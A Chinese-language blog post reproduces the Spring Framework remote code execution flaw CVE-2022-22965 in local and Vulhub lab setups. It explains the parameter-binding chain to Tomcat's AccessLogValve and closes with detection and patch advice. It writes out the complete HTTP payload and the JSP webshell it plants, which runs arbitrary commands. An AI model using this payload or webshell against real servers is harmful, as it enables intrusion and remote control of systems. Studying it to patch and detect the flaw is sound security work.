Spring Core RCE 漏洞复现

目录

漏洞概况与影响

Spring生态体系

漏洞情况

漏洞测试

Spring动态参数绑定

多级参数自动绑定

PropertyDescriptor

BeanWrapperImpl

利用思路

漏洞复现

本地复现和环境说明

利用流程

Vulhub复现环境

HTTP Payload

参数解析

利用流程

参数描述

Class对象怎么来的

JSP木马内容

漏洞排查和修复

漏洞排查

漏洞修复

新版本的修复原理


漏洞概况与影响

Spring生态体系

Spring 是一个开源的轻量级 JAVA EE 应用程序开发框架,其可以管理容器里面的对象,并且提供了面向切面编程、与各种组件集成的特性,极大地简化了开发

Spring框架中的核心组件只有三个:Core、Context和Beans。它们构建起了整个Spring的骨骼架构

Bean来包装Object,而 Context是Bean关系的集合,这个集合叫做Ioc(Inversion of Control)容器,Core组件是发现、建立和维护每 个Bean之间的关系所需要的一些列的工具

漏洞情况

2022年3月31日 Spring 官方公布漏洞信息和编号,漏洞编号为 CVE-2022-22965、CNVD-2022-23942

远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件

受影响范围:

Spring Framework < 5.3.18

Spring Framework < 5.2.20

JDK ≥ 9

不受影响版本:

Spring Framework = 5.3.18

Spring Framework = 5.2.20

JDK < 9

该漏洞与Tomcat版本有关

漏洞测试

这个漏洞被曝光出来之后,各种大神都在对该漏洞做复现和排查,其中有一位好大哥公布了其经过重重测试的漏洞所影响的具体版本信息数据

jdktomcat结果
jdk8u332-b06apache-tomcat-8.5.77安全
jdk8u332-b06apache-tomcat-8.5.78安全
jdk8u332-b06apache-tomcat-9.0.60安全(日志报错)
jdk-9.0.4+11apache-tomcat-8.5.77存在漏洞
jdk-9.0.4+11apache-tomcat-8.5.78安全
jdk-9.0.4+11apache-tomcat-9.0.60存在漏洞
jdk11.0.14.1+1apache-tomcat-8.5.77存在漏洞
jdk11.0.14.1+1apache-tomcat-8.5.78安全(日志报错)
jdk11.0.14.1+1apache-tomcat-9.0.60存在漏洞

Spring动态参数绑定

为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值

当请求为 /addUser?name=wuya&department.name=sec 时,public String addUser(User user)中的user参数内容如下

可以看到,name自动绑定到了user参数的name属性上,department.name自动绑定到了user参数的department属性的name属性上。

注意department.name这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。实际上department.name的绑定是Spring通过如下的调用链实现的

User.getDepartment() Department.setName()

多级参数自动绑定

当请求为addAddr?name=cn&province.city.district.name=yuelu时,参数是四级自动绑定的

自动赋值的调用链路:

Contry.getProvince()

 Province.getCity()

  City.getDistrict()

   District.setDistrictName()

PropertyDescriptor

JDK自带:Java Bean PropertyDescriptor

作用:自动调用类对象的getXXX/setXXX方法,进 行取值和赋值

BeanWrapperImpl

Spring自带:BeanWrapperImpl

作用:对Spring容器中管理的对象,自动调用 get/set方法,进行取值和赋值

利用思路

1、通过Controller的参数赋值(自动绑定), 可以修改参数对象的任意属性值(以及子对象属性值)

比如User对象、Country对象

2、找到一些包含敏感属性的对象进行更改

3、可以修改存储路径、文件名、文件内容

漏洞复现

不同环境的利用方式不同,漏洞利用的大致条件如下

  1. 使用JDK9及以上版本的Spring MVC框架

  2. Apache Tomcat作为Servlet容器

  3. Spring框架以及衍生的框架spring-beans-*.jar文件或者存在CachedIntrospectionResults.class

本地复现和环境说明

操作系统:Windows

JDK:11.0.11

Tomcat:9.0.60

SpringBoot:2.6.3(注意不使用Spring内置的Tomcat)

靶场启动: 把war包放在tomcat/webapps目录下

利用流程

tomcat/conf/server.xml 里面配置端口7299

exploit.py --url http://localhost:7299/addUser

Vulhub复现环境

参考下面网站搭建一个docker的复现环境

Vulhub - Docker-Compose file for vulnerability environment

 cd /var/local/soft/vulhub/spring/CVE-2022-22965 
 docker-compose up -d 
 docker-compose ps 

访问http://192.168.142.163:8080/?name=Bob&age=25

利用脚本:vulhub_CVE-2022-22965_poc.py -- url=http://192.168.142.163:8080 (注意这个脚本只能跑一次,否则会导致日志重复写入)

停止写日志http://192.168.142.163:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=

HTTP Payload

class.module.classLoader.resources.context.parent.pipeline.firs
t.pattern=%{c2}i 
if("j".equals(request.getParameter("pwd")))
{java.io.InputStream in = 
%{c1}i.getRuntime().exec(request.getParameter("cmd")).getInp
utStream(); int a = -1; byte[] b = new byte[2048]; 
while((a=in.read(b))!=-1){ out.println(new String(b)); } } 
%{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=feng&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

参数解析

属性值属性值
pattern%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %
suffix.jsp
directorywebapps/ROOT
prefixfeng
fileDateFormat

这段代码的意思是在webapps/ROOT下写入一个名为 feng.jsp的文件,内容是......

利用流程

1、哪个对象有这些属性值? org.apache.catalina.valves.AccessLogValve

2、从Controller接口开始,怎么找到一个对象包含了AccessLogValve?

参数描述

调用链路(多级参数自动赋值)是怎么形成的? class.module.classLoader.resources.context.parent.pipeline.first.pattern

缓存的Class对象

 java.lang.Class.getModule() 
  java.lang.Module.getClassLoader() 
   org.apache.catalina.loader.ParallelWebappClassLoader.getResources() 
    org.apache.catalina.webresources.StandardRoot.getContext() 
     org.apache.catalina.core.StandardContext.getParent() 
      org.apache.catalina.core.StandardHost.getPipeline() 
       org.apache.catalina.core.StandardPipeline.getFirst() 
        org.apache.catalina.valves.AccessLogValve.setPattern()

Class对象怎么来的

缓存了一个Class属性!!

JSP木马内容

 <%
 if("j".equals(request.getParameter("pwd"))){
  java.io.InputStream in = 
 Runtime.getRuntime().exec(request.getParameter("cmd")).getInpu
 tStream();
  int a = -1;
  byte[] b = new byte[2048];
  while((a=in.read(b))!=-1){
    out.println(new String(b));
  }
 }
 %>

漏洞排查和修复

漏洞排查

1、是否启用Spring 参数绑定功能

2、JDK版本 9+

3、Tomcat部署方式及版本

4、Tomcat Access功能

5、流量分析

6、日志分析

漏洞修复

1、升级Spring

2、升级Tomcat

3、安装安全产品

新版本的修复原理

在Spring官方发布的新版本中,我们发现漏洞存在的部分代码修改了,下面是源码对比

如果其中的属性是ClassLoader 和 ProtectionDomain,就直接 continue跳过

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值